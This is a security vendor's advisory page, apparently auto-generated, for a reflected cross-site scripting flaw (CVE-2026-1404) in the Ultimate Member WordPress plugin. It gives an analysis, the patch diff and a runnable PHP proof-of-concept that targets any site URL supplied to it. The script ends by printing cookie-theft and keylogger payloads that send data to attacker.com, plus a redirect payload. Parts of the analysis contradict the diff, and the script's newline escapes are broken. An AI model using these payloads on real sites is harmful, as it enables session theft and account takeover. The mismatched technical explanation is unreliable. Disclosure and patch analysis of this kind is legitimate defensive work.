Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1404: Ultimate Member <= 2.11.1 – Reflected Cross-Site Scripting via Filter Parameters (ultimate-member)

CVE ID CVE-2026-1404
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.11.1
Patched Version 2.11.2
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1404:
This vulnerability is a reflected Cross-Site Scripting (XSS) flaw in the Ultimate Member WordPress plugin (versions <= 2.11.1). The vulnerability exists in the member directory search functionality, allowing unauthenticated attackers to inject arbitrary JavaScript via filter parameters. The CVSS score of 6.1 indicates a medium severity issue requiring user interaction for exploitation.

Atomic Edge research identifies the root cause as insufficient output escaping of user-supplied filter parameters in the member directory search template. The vulnerability manifests in the `ultimatemember_searchform()` function within `/ultimate-member/includes/core/class-shortcodes.php`. User-controlled input from URL parameters like `search_{hash}` is passed directly to the template without proper sanitization. The `searchform.php` template in `/ultimate-member/templates/searchform.php` (lines 17-18 in the patched version) previously output this value without escaping, using `{{{filter.value_label}}}` triple curly braces that enable HTML rendering.

The exploitation method involves crafting a malicious URL containing JavaScript payloads in filter parameters. An attacker would target the member directory page, appending a payload to parameters such as `filter_first_name` or other filter parameters. For example: `https://target.site/members/?search_directory_hash=alert(document.cookie)`. When a victim visits this crafted link, the payload executes in their browser context. The attack requires the victim to click the malicious link, making it a classic reflected XSS scenario.

The patch addresses the vulnerability by implementing proper output escaping in the member directory template. The changes in `/ultimate-member/templates/members.php` (lines 343-353) replace the triple curly braces `{{{filter.value_label}}}` and `{{{filter.label}}}` with double curly braces `{{filter.value_label}}` and `{{filter.label}}`. This change ensures the Handlebars template engine automatically escapes HTML entities. The patch also updates the `searchform.php` template to use `esc_attr()` on the search value output (line 17), preventing XSS via the search input field.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of a victim’s browser session. This can lead to session hijacking, account takeover, defacement, or redirection to malicious sites. Attackers could steal authentication cookies, perform actions on behalf of the user, or inject malicious content into the WordPress admin interface. The vulnerability affects all unauthenticated users who can be tricked into clicking a malicious link.

Differential between vulnerable and patched code

Code Diff
--- a/ultimate-member/includes/admin/class-site-health.php
+++ b/ultimate-member/includes/admin/class-site-health.php
@@ -2130,11 +2130,11 @@
 						$debug_info[] = array(
 							'role'             => array(
 								'label' => __( 'User registration role', 'ultimate-member' ),
-								'value' => 0 === absint( get_post_meta( $form_id, '_um_register_role', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_register_role', true ),
+								'value' => empty( get_post_meta( $form_id, '_um_register_role', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_register_role', true ),
 							),
 							'template'         => array(
 								'label' => __( 'Template', 'ultimate-member' ),
-								'value' => 0 === absint( get_post_meta( $form_id, '_um_register_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_register_template', true ),
+								'value' => empty( get_post_meta( $form_id, '_um_register_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_register_template', true ),
 							),
 							'max_width'        => array(
 								'label' => __( 'Max. Width (px)', 'ultimate-member' ),
@@ -2220,7 +2220,7 @@
 						$debug_info[] = array(
 							'template'         => array(
 								'label' => __( 'Template', 'ultimate-member' ),
-								'value' => 0 === absint( get_post_meta( $form_id, '_um_login_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_login_template', true ),
+								'value' => empty( get_post_meta( $form_id, '_um_login_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_login_template', true ),
 							),
 							'max_width'        => array(
 								'label' => __( 'Max. Width (px)', 'ultimate-member' ),
@@ -2292,7 +2292,7 @@
 							),
 							'template'         => array(
 								'label' => __( 'Template', 'ultimate-member' ),
-								'value' => 0 === absint( get_post_meta( $form_id, '_um_profile_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_profile_template', true ),
+								'value' => empty( get_post_meta( $form_id, '_um_profile_template', true ) ) ? $labels['default'] : get_post_meta( $form_id, '_um_profile_template', true ),
 							),
 							'max_width'        => array(
 								'label' => __( 'Max. Width (px)', 'ultimate-member' ),
--- a/ultimate-member/includes/admin/templates/directory/privacy.php
+++ b/ultimate-member/includes/admin/templates/directory/privacy.php
@@ -1,8 +1,19 @@
 <?php
+/**
+ * Metabox "Privacy Options" on wp-admin > Ultimate Member > Member Directories > Edit.
+ *
+ * @package umadmintemplates
+ *
+ * @var array   $box
+ * @var WP_Post $object
+ */
+
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }

+$_um_privacy_roles_value = get_post_meta( $object->ID, '_um_privacy_roles', true );
+
 $fields = array(
 	array(
 		'id'          => '_um_privacy',
@@ -26,7 +37,7 @@
 		'options'     => UM()->roles()->get_roles(),
 		'placeholder' => __( 'Choose user roles...', 'ultimate-member' ),
 		'conditional' => array( '_um_privacy', '=', '3' ),
-		'value'       => UM()->query()->get_meta_value( '_um_privacy_roles', null, 'na' ),
+		'value'       => empty( $_um_privacy_roles_value ) ? array() : (array) $_um_privacy_roles_value,
 	),
 );

--- a/ultimate-member/includes/ajax/class-pages.php
+++ b/ultimate-member/includes/ajax/class-pages.php
@@ -19,6 +19,9 @@
 	 */
 	public function __construct() {
 		add_action( 'wp_ajax_um_get_pages_list', array( $this, 'get_pages_list' ) );
+
+		add_action( 'wp_ajax_um_search_widget_request', array( $this, 'search_widget_request' ) );
+		add_action( 'wp_ajax_nopriv_um_search_widget_request', array( $this, 'search_widget_request' ) );
 	}

 	/**
@@ -98,4 +101,58 @@

 		wp_send_json( $return );
 	}
+
+	/**
+	 * AJAX callback for getting search widget redirect to a proper member directory page.
+	 */
+	public function search_widget_request() {
+		check_ajax_referer( 'um_search_widget_request' );
+
+		if ( ! UM()->options()->get( 'members_page' ) ) {
+			wp_send_json_error( __( 'No members page enabled', 'ultimate-member' ) );
+		}
+
+		$member_directory_ids = array();
+
+		$page_id = UM()->config()->permalinks['members'];
+		if ( ! empty( $page_id ) ) {
+			$member_directory_ids = UM()->member_directory()->get_member_directory_id( $page_id );
+		}
+
+		if ( empty( $member_directory_ids ) ) {
+			wp_send_json_error( __( 'No members page enabled', 'ultimate-member' ) );
+		}
+
+		$url = um_get_predefined_page_url( 'members' );
+
+		$search = isset( $_POST['search'] ) ? sanitize_text_field( $_POST['search'] ) : '';
+		if ( empty( $search ) ) {
+			wp_send_json_success( array( 'url' => $url ) );
+		}
+
+		// Current user priority role
+		$priority_user_role = false;
+		if ( is_user_logged_in() ) {
+			$priority_user_role = UM()->roles()->get_priority_user_role( get_current_user_id() );
+		}
+
+		foreach ( $member_directory_ids as $directory_id ) {
+			$directory_data = UM()->query()->post_data( $directory_id );
+
+			if ( isset( $directory_data['roles_can_search'] ) ) {
+				$directory_data['roles_can_search'] = maybe_unserialize( $directory_data['roles_can_search'] );
+			}
+
+			$show_search = empty( $directory_data['roles_can_search'] ) || ( ! empty( $priority_user_role ) && in_array( $priority_user_role, $directory_data['roles_can_search'], true ) );
+			if ( empty( $directory_data['search'] ) || ! $show_search ) {
+				continue;
+			}
+
+			$hash = UM()->member_directory()->get_directory_hash( $directory_id );
+
+			$url = add_query_arg( array( 'search_' . $hash => $search ), $url );
+		}
+
+		wp_send_json_success( array( 'url' => $url ) );
+	}
 }
--- a/ultimate-member/includes/core/class-form.php
+++ b/ultimate-member/includes/core/class-form.php
@@ -822,6 +822,7 @@
 		 * @return array $form
 		 */
 		public function sanitize( $form ) {
+			$submission_input = $form;
 			if ( isset( $form['form_id'] ) ) {
 				if ( isset( $this->form_data['custom_fields'] ) ) {
 					$custom_fields = maybe_unserialize( $this->form_data['custom_fields'] );
@@ -843,26 +844,7 @@
 											if ( ! empty( $field['html'] ) || ( UM()->profile()->get_show_bio_key( $form ) === $k && UM()->options()->get( 'profile_show_html_bio' ) ) ) {
 												$form[ $k ] = html_entity_decode( $form[ $k ] ); // required because WP_Editor send sometimes encoded content.
 												$form[ $k ] = self::maybe_apply_tidy( $form[ $k ], $field );
-
-												$allowed_html = UM()->get_allowed_html( 'templates' );
-												if ( empty( $allowed_html['iframe'] ) ) {
-													$allowed_html['iframe'] = array(
-														'allow'           => true,
-														'frameborder'     => true,
-														'loading'         => true,
-														'name'            => true,
-														'referrerpolicy'  => true,
-														'sandbox'         => true,
-														'src'             => true,
-														'srcdoc'          => true,
-														'title'           => true,
-														'width'           => true,
-														'height'          => true,
-														'allowfullscreen' => true,
-													);
-												}
-												$form[ $k ] = wp_kses( strip_shortcodes( $form[ $k ] ), $allowed_html );
-												add_filter( 'wp_kses_allowed_html', array( &$this, 'wp_kses_user_desc' ), 10, 2 );
+												$form[ $k ] = wp_kses( strip_shortcodes( $form[ $k ] ), 'user_description' );
 											} else {
 												$form[ $k ] = sanitize_textarea_field( strip_shortcodes( $form[ $k ] ) );
 											}
@@ -983,27 +965,7 @@
 							if ( ! empty( $custom_fields[ $description_key ]['html'] ) && $bio_html ) {
 								$form[ $description_key ] = html_entity_decode( $form[ $description_key ] ); // required because WP_Editor send sometimes encoded content.
 								$form[ $description_key ] = self::maybe_apply_tidy( $form[ $description_key ], $custom_fields[ $description_key ] );
-
-								$allowed_html = UM()->get_allowed_html( 'templates' );
-								if ( empty( $allowed_html['iframe'] ) ) {
-									$allowed_html['iframe'] = array(
-										'allow'           => true,
-										'frameborder'     => true,
-										'loading'         => true,
-										'name'            => true,
-										'referrerpolicy'  => true,
-										'sandbox'         => true,
-										'src'             => true,
-										'srcdoc'          => true,
-										'title'           => true,
-										'width'           => true,
-										'height'          => true,
-										'allowfullscreen' => true,
-									);
-								}
-								$form[ $description_key ] = wp_kses( strip_shortcodes( $form[ $description_key ] ), $allowed_html );
-
-								add_filter( 'wp_kses_allowed_html', array( &$this, 'wp_kses_user_desc' ), 10, 2 );
+								$form[ $description_key ] = wp_kses( strip_shortcodes( $form[ $description_key ] ), 'user_description' );
 							} else {
 								$form[ $description_key ] = sanitize_textarea_field( strip_shortcodes( $form[ $description_key ] ) );
 							}
@@ -1012,26 +974,9 @@

 					if ( ! $field_exists ) {
 						if ( $bio_html ) {
-							$allowed_html = UM()->get_allowed_html( 'templates' );
-							if ( empty( $allowed_html['iframe'] ) ) {
-								$allowed_html['iframe'] = array(
-									'allow'           => true,
-									'frameborder'     => true,
-									'loading'         => true,
-									'name'            => true,
-									'referrerpolicy'  => true,
-									'sandbox'         => true,
-									'src'             => true,
-									'srcdoc'          => true,
-									'title'           => true,
-									'width'           => true,
-									'height'          => true,
-									'allowfullscreen' => true,
-								);
-							}
-							$form[ $description_key ] = wp_kses( strip_shortcodes( $form[ $description_key ] ), $allowed_html );
-
-							add_filter( 'wp_kses_allowed_html', array( &$this, 'wp_kses_user_desc' ), 10, 2 );
+							$form[ $description_key ] = html_entity_decode( $form[ $description_key ] ); // required because WP_Editor send sometimes encoded content.
+							$form[ $description_key ] = self::maybe_apply_tidy( $form[ $description_key ], array() );
+							$form[ $description_key ] = wp_kses( strip_shortcodes( $form[ $description_key ] ), 'user_description' );
 						} else {
 							$form[ $description_key ] = sanitize_textarea_field( strip_shortcodes( $form[ $description_key ] ) );
 						}
@@ -1039,31 +984,7 @@
 				}
 			}

-			return $form;
-		}
-
-		public function wp_kses_user_desc( $tags, $context ) {
-			if ( 'user_description' === $context || 'pre_user_description' === $context ) {
-				$allowed_html = UM()->get_allowed_html( 'templates' );
-				if ( empty( $allowed_html['iframe'] ) ) {
-					$allowed_html['iframe'] = array(
-						'allow'           => true,
-						'frameborder'     => true,
-						'loading'         => true,
-						'name'            => true,
-						'referrerpolicy'  => true,
-						'sandbox'         => true,
-						'src'             => true,
-						'srcdoc'          => true,
-						'title'           => true,
-						'width'           => true,
-						'height'          => true,
-						'allowfullscreen' => true,
-					);
-				}
-				$tags = $allowed_html;
-			}
-			return $tags;
+			return apply_filters( 'um_sanitize_form_submission', $form, $submission_input );
 		}

 		/**
--- a/ultimate-member/includes/core/class-permalinks.php
+++ b/ultimate-member/includes/core/class-permalinks.php
@@ -27,12 +27,14 @@
 		 * Permalinks constructor.
 		 */
 		public function __construct() {
-			add_action( 'init',  array( &$this, 'set_current_url' ), 0 );
+			add_action( 'init', array( &$this, 'set_current_url' ), 0 );

-			add_action( 'init',  array( &$this, 'check_for_querystrings' ), 1 );
+			add_action( 'init', array( &$this, 'check_for_querystrings' ), 1 );

 			// don't use lower than 2 priority because there is sending email inside, but Action Scheduler is init on 1st priority.
-			add_action( 'init',  array( &$this, 'activate_account_via_email_link' ), 2 );
+			add_action( 'init', array( &$this, 'activate_account_via_email_link' ), 2 );
+			// Approve the user after the activate account link is verified.
+			add_action( 'um_approve_user_on_email_confirmation', array( &$this, 'approve_user_on_email_confirmation' ) );
 		}

 		/**
@@ -135,9 +137,25 @@
 				}

 				// Activate account link is valid. Can be approved below.
-
-				um_fetch_user( $user_id ); // @todo maybe don't need to fetch.
-				UM()->common()->users()->approve( $user_id, true );
+				/**
+				 * Fires for user activation after validation the link for email confirmation.
+				 *
+				 * Internal Ultimate Member callbacks (Priority -> Callback name -> Excerpt):
+				 * 10 - `UM()->permalinks()->approve_user_on_email_confirmation()` Approve the user after the activate account link is verified.
+				 *
+				 * @hook um_approve_user_on_email_confirmation
+				 *
+				 * @param {int} $user_id The user ID.
+				 *
+				 * @since 2.11.2
+				 *
+				 * @example <caption>Doing some code just after native approve the $user_id on email confirmation.</caption>
+				 * function my_approve_user_on_email_confirmation( $user_id ) {
+				 *     // your code here
+				 * }
+				 * add_action( 'um_approve_user_on_email_confirmation', 'my_approve_user_on_email_confirmation', 11 );
+				 */
+				do_action( 'um_approve_user_on_email_confirmation', $user_id );

 				$user_role      = UM()->roles()->get_priority_user_role( $user_id );
 				$user_role_data = UM()->roles()->role_data( $user_role );
@@ -161,7 +179,7 @@
 				 * function my_after_email_confirmation( $user_id ) {
 				 *     // your code here
 				 * }
-				 * add_filter( 'um_after_email_confirmation', 'my_after_email_confirmation' );
+				 * add_action( 'um_after_email_confirmation', 'my_after_email_confirmation' );
 				 */
 				do_action( 'um_after_email_confirmation', $user_id );

@@ -201,6 +219,18 @@
 		}

 		/**
+		 * Natively approve the user after validation of the email activation link.
+		 *
+		 * @param int $user_id
+		 *
+		 * @return void
+		 */
+		public function approve_user_on_email_confirmation( $user_id ) {
+			um_fetch_user( $user_id ); // @todo maybe don't need to fetch.
+			UM()->common()->users()->approve( $user_id, true );
+		}
+
+		/**
 		 * Makes an activate link for any user
 		 *
 		 * @return string
--- a/ultimate-member/includes/core/class-shortcodes.php
+++ b/ultimate-member/includes/core/class-shortcodes.php
@@ -1370,12 +1370,10 @@
 		}

 		/**
-		 * @param array $args
-		 * @param string $content
 		 *
 		 * @return string
 		 */
-		public function ultimatemember_searchform( $args = array(), $content = '' ) {
+		public function ultimatemember_searchform() {
 			if ( ! UM()->options()->get( 'members_page' ) ) {
 				return '';
 			}
@@ -1391,7 +1389,7 @@
 				return '';
 			}

-			//current user priority role
+			// Current user priority role
 			$priority_user_role = false;
 			if ( is_user_logged_in() ) {
 				$priority_user_role = UM()->roles()->get_priority_user_role( get_current_user_id() );
@@ -1405,7 +1403,7 @@
 					$directory_data['roles_can_search'] = maybe_unserialize( $directory_data['roles_can_search'] );
 				}

-				$show_search = empty( $directory_data['roles_can_search'] ) || ( ! empty( $priority_user_role ) && in_array( $priority_user_role, $directory_data['roles_can_search'] ) );
+				$show_search = empty( $directory_data['roles_can_search'] ) || ( ! empty( $priority_user_role ) && in_array( $priority_user_role, $directory_data['roles_can_search'], true ) );
 				if ( empty( $directory_data['search'] ) || ! $show_search ) {
 					continue;
 				}
@@ -1419,12 +1417,11 @@
 				return '';
 			}

+			$query        = array_filter( $query );
 			$search_value = array_values( $query );

 			$t_args = array(
-				'query'        => $query,
-				'search_value' => $search_value[0],
-				'members_page' => um_get_core_page( 'members' ),
+				'search_value' => ! empty( $search_value ) ? $search_value[0] : '',
 			);
 			return UM()->get_template( 'searchform.php', '', $t_args );
 		}
--- a/ultimate-member/includes/um-deprecated-functions.php
+++ b/ultimate-member/includes/um-deprecated-functions.php
@@ -462,11 +462,7 @@
 function um_get_search_form() {
 	//um_deprecated_function( 'um_get_search_form', '2.1.0', 'do_shortcode( '[ultimatemember_searchform]' )' );

-	if ( version_compare( get_bloginfo('version'),'5.4', '<' ) ) {
-		return do_shortcode( '[ultimatemember_searchform]' );
-	} else {
-		return apply_shortcodes( '[ultimatemember_searchform]' );
-	}
+	return apply_shortcodes( '[ultimatemember_searchform]' );
 }


--- a/ultimate-member/includes/widgets/class-um-search-widget.php
+++ b/ultimate-member/includes/widgets/class-um-search-widget.php
@@ -58,12 +58,7 @@
 		}

 		// display the search form
-		if ( version_compare( get_bloginfo('version'),'5.4', '<' ) ) {
-			echo do_shortcode( '[ultimatemember_searchform /]' );
-		} else {
-			echo apply_shortcodes( '[ultimatemember_searchform /]' );
-		}
-
+		echo apply_shortcodes( '[ultimatemember_searchform /]' );

 		echo $args['after_widget'];
 	}
--- a/ultimate-member/templates/members.php
+++ b/ultimate-member/templates/members.php
@@ -6,7 +6,7 @@
  *
  * Page: "Members"
  *
- * @version 2.11.1
+ * @version 2.11.2
  *
  * @var array $args
  */
@@ -343,13 +343,13 @@
 						<# _.each( data.filters, function( filter, key, list ) { #>
 							<div class="um-members-filter-tag">
 								<# if ( filter.type == 'slider' ) { #>
-									{{{filter.value_label}}}
+									{{filter.value_label}}
 								<# } else { #>
-									<strong>{{{filter.label}}}</strong>: {{{filter.value_label}}}
+									<strong>{{filter.label}}</strong>: {{filter.value_label}}
 								<# } #>
-								<div class="um-members-filter-remove um-tip-n" data-name="{{{filter.name}}}"
-									 data-value="{{{filter.value}}}" data-range="{{{filter.range}}}"
-									 data-type="{{{filter.type}}}" title="<?php esc_attr_e( 'Remove filter', 'ultimate-member' ) ?>">×</div>
+								<div class="um-members-filter-remove um-tip-n" data-name="{{filter.name}}"
+									 data-value="{{filter.value}}" data-range="{{filter.range}}"
+									 data-type="{{filter.type}}" title="<?php esc_attr_e( 'Remove filter', 'ultimate-member' ) ?>">×</div>
 							</div>
 						<# }); #>
 					<# } #>
--- a/ultimate-member/templates/searchform.php
+++ b/ultimate-member/templates/searchform.php
@@ -6,23 +6,18 @@
  *
  * Call: function ultimatemember_searchform()
  *
- * @version 2.6.1
+ * @version 2.11.2
  *
- * @var string $members_page
  * @var string $search_value
- * @var array  $query
  */
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
-} ?>
-
-<div class="search-form um-search-form" data-members_page="<?php echo esc_url( $members_page ); ?>">
-	<?php foreach ( array_keys( $query ) as $key ) { ?>
-		<input type="hidden" name="um-search-keys[]" value="<?php echo esc_attr( $key ) ?>" />
-	<?php } ?>
-	<div class="um-search-area">
-		<span class="screen-reader-text"><?php echo _x( 'Search for:', 'label' ); ?></span>
-		<input type="search" class="um-search-field search-field" placeholder="<?php echo esc_attr_x( 'Search …', 'placeholder' ); ?>" value="<?php echo esc_attr( $search_value ); ?>" name="search" title="<?php echo esc_attr_x( 'Search for:', 'label' ); ?>" />
-		<a href="javascript:void(0);" id="um-search-button" class="um-search-icon um-faicon um-faicon-search"></a>
+}
+?>
+<div class="um search-form um-search-form" data-nonce="<?php echo esc_attr( wp_create_nonce( 'um_search_widget_request' ) ); ?>">
+	<div class="um-form um-search-area">
+		<span class="screen-reader-text"><?php echo esc_html_x( 'Search for:', 'label', 'ultimate-member' ); ?></span>
+		<input type="search" class="um-search-field search-field" placeholder="<?php echo esc_attr_x( 'Search …', 'placeholder', 'ultimate-member' ); ?>" value="<?php echo esc_attr( $search_value ); ?>" name="search" title="<?php echo esc_attr_x( 'Search for:', 'label', 'ultimate-member' ); ?>" />
+		<a href="#" id="um-search-button" class="um-search-icon um-faicon um-faicon-search"></a>
 	</div>
 </div>
--- a/ultimate-member/ultimate-member.php
+++ b/ultimate-member/ultimate-member.php
@@ -3,7 +3,7 @@
  * Plugin Name: Ultimate Member
  * Plugin URI: http://ultimatemember.com/
  * Description: The easiest way to create powerful online communities and beautiful user profiles with WordPress
- * Version: 2.11.1
+ * Version: 2.11.2
  * Author: Ultimate Member
  * Author URI: http://ultimatemember.com/
  * License: GPLv3
@@ -34,7 +34,7 @@
 define( 'UM_PLUGIN', plugin_basename( __FILE__ ) );
 define( 'UM_VERSION', $plugin_data['Version'] );
 define( 'UM_PLUGIN_NAME', $plugin_data['Name'] );
-define( 'UM_WP_FUNCTIONS_VERSION', '6.8.0' ); // Updates every major WordPress release.
+define( 'UM_WP_FUNCTIONS_VERSION', '6.9.0' ); // Updates every major WordPress release.
 define( 'UM_LICENSE_REQUEST_DEBUG', false ); // Set true then need to debug the license request.
 define( 'UM_UPDATER_DEBUG', false ); // Set true then need to debug the upgrade packages.
 // define( 'UM_DEV_MODE', true );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1404 - Ultimate Member <= 2.11.1 - Reflected Cross-Site Scripting via Filter Parameters

<?php
/**
 * Proof of Concept for CVE-2026-1404
 * Reflected XSS in Ultimate Member plugin via filter parameters
 *
 * Usage: php poc.php --url https://target.site
 */

$target_url = '';

// Parse command line arguments
$options = getopt('', ['url:']);
if (isset($options['url'])) {
    $target_url = rtrim($options['url'], '/');
} else {
    echo "Usage: php poc.php --url https://target.siten";
    exit(1);
}

// First, we need to discover the member directory page and its hash
// The member directory is typically at /members/ but can be configured
echo "[+] Discovering member directory page...n";

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/members/',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (Atomic Edge Research)',
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code !== 200) {
    // Try alternative common paths
    $common_paths = ['/members', '/community', '/users'];
    foreach ($common_paths as $path) {
        curl_setopt($ch, CURLOPT_URL, $target_url . $path);
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if ($http_code === 200) {
            break;
        }
    }
}

if ($http_code !== 200) {
    echo "[-] Could not find member directory pagen";
    curl_close($ch);
    exit(1);
}

// Extract the directory hash from the page
// The hash is typically in a data-directory_hash attribute or in search parameter names
preg_match('/data-directory_hash="([a-f0-9]+)"/', $response, $matches);
if (empty($matches)) {
    // Try to find it in JavaScript variables
    preg_match('/directory_hash.*=.*["']([a-f0-9]+)["']/', $response, $matches);
}

if (empty($matches)) {
    // Use a common default hash pattern
    $directory_hash = 'directory_' . md5('members');
    echo "[!] Could not extract directory hash, using default: $directory_hashn";
} else {
    $directory_hash = $matches[1];
    echo "[+] Found directory hash: $directory_hashn";
}

// Craft the XSS payload
// Using a simple alert for demonstration
$payload = '<script>alert("Atomic Edge Research - CVE-2026-1404");</script>';

// URL encode the payload for the query parameter
$encoded_payload = urlencode($payload);

// Construct the malicious URL with the search parameter
$exploit_url = $target_url . '/members/?search_' . $directory_hash . '=' . $encoded_payload;

echo "[+] Generated exploit URL:n";
echo "    $exploit_urlnn";

// Test if the payload is reflected in the response
curl_setopt($ch, CURLOPT_URL, $exploit_url);
$response = curl_exec($ch);

// Check if the payload appears unsanitized in the response
if (strpos($response, $payload) !== false) {
    echo "[+] VULNERABLE: Payload found unsanitized in responsen";
    echo "[+] The site is vulnerable to CVE-2026-1404n";
} else {
    // Check for encoded versions
    $html_encoded = htmlspecialchars($payload, ENT_QUOTES);
    if (strpos($response, $html_encoded) !== false) {
        echo "[-] NOT VULNERABLE: Payload is properly HTML-encodedn";
    } else {
        echo "[-] Payload not found in response (may be filtered or patched)n";
        echo "[?] Manual verification recommendedn";
    }
}

curl_close($ch);

// Provide additional exploitation examples
echo "n[+] Additional exploitation vectors:n";
echo "    1. Cookie theft: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>n";
echo "    2. Redirect: <script>window.location='https://evil.site'</script>n";
echo "    3. Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/log?key='+e.key)}</script>n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School